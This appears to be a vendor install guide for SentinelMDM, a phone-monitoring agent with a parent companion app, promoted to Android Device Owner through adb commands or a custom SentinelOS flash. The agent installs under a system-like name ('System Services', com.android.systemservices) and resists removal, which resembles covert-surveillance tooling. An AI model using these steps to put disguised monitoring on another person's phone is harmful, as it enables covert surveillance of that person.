This is the app-only install. It works on any Android phone — Samsung, Pixel, Motorola, OnePlus, Xiaomi, and more. You only need USB debugging turned on. No bootloader unlock. No factory wipe. Your trial starts on the agent's first check-in.
Plain-English explainer
Android has a built-in management role called Device Owner (DO). It's the same mechanism companies use to manage work phones. When an app is the Device Owner, Android treats it as the device's trusted administrator — so SentinelMDM can enforce policy, protect itself from being casually removed, and manage settings without rooting the phone or modifying the operating system.
One owner per device
Android allows exactly one Device Owner, and it can only be assigned while the phone has no user accounts on it. That's the one real requirement.
Not root, not a new OS
DO is an official Android feature. The bootloader stays locked and the stock OS is untouched — only an app is installed and promoted.
Works on any brand
Samsung, Pixel, Motorola, OnePlus, Xiaomi, Nokia… if it runs modern Android and supports ADB, it can be a SentinelMDM Device Owner.
Choose your path
Most people want the first one. The second is a deeper, Pixel-only option for maximum integration.
Install the SentinelMDM app and promote it to Device Owner over a USB cable. The phone keeps its normal operating system.
Replace the phone's OS with our hardened SentinelOS build, where the agent is baked into the system for the deepest integration.
How to flash
Windows — install platform tools first
C:\platform-tools)C:\platform-tools), then click OK on all dialogsfastboot --version should print a version numberUnlock bootloader — Settings → About phone → tap Build number 7× → Developer Options → enable OEM unlocking
Boot into Fastboot — power off, then hold Vol ↓ + Power
Need the SentinelOS image? Contact us via live chat and let us know your Pixel model (e.g. Pixel 6 Pro, Pixel 10a) — we'll send you the correct build package for your device.
Flash SentinelOS — extract the provided image package, then open a terminal inside that folder and run:
fastboot flashall
Windows: Shift+right-click the extracted folder → Open in Terminal (or Open PowerShell window here), then run the command above.
macOS: Open Terminal (Cmd+Space → Terminal), type cd (with a space), drag the extracted folder into the Terminal window, press Return, then run fastboot flashall
Enable USB debugging — after first boot, go to Settings → About phone, tap Build number 7× to unlock Developer Options, then go to Settings → Developer Options and turn on USB debugging. Connect the phone via USB and tap Allow on the prompt that appears on the screen.
Install the agent — run the following commands from your computer:
Download SentinelMDM APKadb install SentinelMDM-<ver>.apk
adb shell dpm set-device-owner com.android.systemservices/.AdminReceiver
adb reboot
Before you begin · app-only agent
Any Android phone (any brand) with all accounts removed — no wipe required
A USB-C cable and a computer with platform-tools (adb & fastboot) installed
macOS — install via Homebrew: brew install android-platform-tools
~10 minutes
Windows — install platform tools first
C:\platform-tools)C:\platform-tools), then click OK on all dialogsfastboot --version should print a version numberDownload SentinelMDM Agent
On-device monitoring agent · install via ADB
Download SentinelClient
Parent companion app · install from the dashboard
You do NOT need to wipe or factory-reset the phone. You only need to remove every account first (Step 1 below). The apps, photos, and files already on the phone stay put — Android just requires zero accounts at the moment Device Owner is assigned.
If any account (Google or other) is still on the device, Android refuses set-device-owner with "Not allowed to set the device owner because there are already some accounts on the device." If you hit that error, finish removing accounts (Step 1) and run the command again.
App-only agent · works on any Android phone
This installs the SentinelMDM app and promotes it to Device Owner. It does not unlock the bootloader and does not wipe the phone. Run each command from your computer with the phone connected by USB.
Device Owner can only be assigned while the phone has zero accounts. Remove every account — but keep all your apps and files; there is no factory reset here.
Settings → Passwords & accounts
Tap each account and choose Remove account until the list is empty. Include Google, Samsung, work/Exchange, and any other accounts.
Not sure? Run adb shell dumpsys account | grep Account — it should list no user accounts.
Find Build number and tap it 7× to unlock Developer options, then enable USB debugging. Plug into your computer and accept the RSA fingerprint prompt on the phone.
adb devices # phone must show as "device" (not "unauthorized")Use the APK tied to your license key.
Download SentinelMDM APKadb install SentinelMDM-<version>.apkThis is the step that grants fully-managed control. It must run while the device still has no accounts.
adb shell dpm set-device-owner com.android.systemservices/.DeviceAdminReceiverSuccess prints: Success: Device owner set to package com.android.systemservices
adb shell dpm list-ownersYou should see systemservices listed as the device owner.
A reboot lets the agent fully initialise its Device Owner privileges at startup.
adb rebootOnce rebooted, open System Services from the app drawer and sign in with your credentials. Your trial activates on first check-in.
If set-device-owner fails, the most common cause is a leftover account — finish removing every account (Step 1) and run the command again. No wipe needed. Still stuck? Reach a human.